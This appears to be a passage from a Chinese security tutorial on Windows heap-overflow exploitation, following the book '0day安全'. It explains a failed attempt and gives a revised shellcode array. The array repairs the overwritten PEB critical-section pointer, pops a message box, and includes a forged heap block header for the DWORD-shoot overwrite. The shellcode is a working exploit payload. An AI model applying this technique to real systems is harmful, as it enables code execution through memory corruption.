失败原因
此shellcode不会溢出成功的原因在于程序中不仅仅 ExitPcoess()函数会调用临界区,shellcode中的函数也会进行调用,一样会被骗。解决办法
直接一开始就修复dword shoot的指针重新布置shellcode:char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" //repaire the pointer which shooted by heap over run "\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020 "\xBB\x60\x20\xF8\x77" //MOV EBX,77f82060 the address here may releated to your OS "\x89\x18" //MOV DWORD PTR DS:[EAX],EBX "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block "\x88\x06\x36\x00\x20\xf0\xfd\x7f";
"\xBB\x60\x20\xF8\x77" //MOV EBX,77f82060 the address here may releated to your OS 此0x77f82060 的值需要自行调试得出 调试方法 直接 汇编 mov eax,fs[30]运行到此处,根据peb的结构 ,在偏移0x20处的值 。。
最终执行效果如图所示: 注意事项
1.利用不成功的同学可能是为根据自己的系统确认 peb 0x20偏移处的值 2.编译选项的原因 3.系统环境的原因等等。。。拓展
本文只是简单利用PEB中的函数指针还有更多的目标可以用异常处理机制等都可以作为利用的对象,请在下面多进行尝试。
本文参考自《0day安全技术漏洞分析技术》 2017/5/15 11:12:57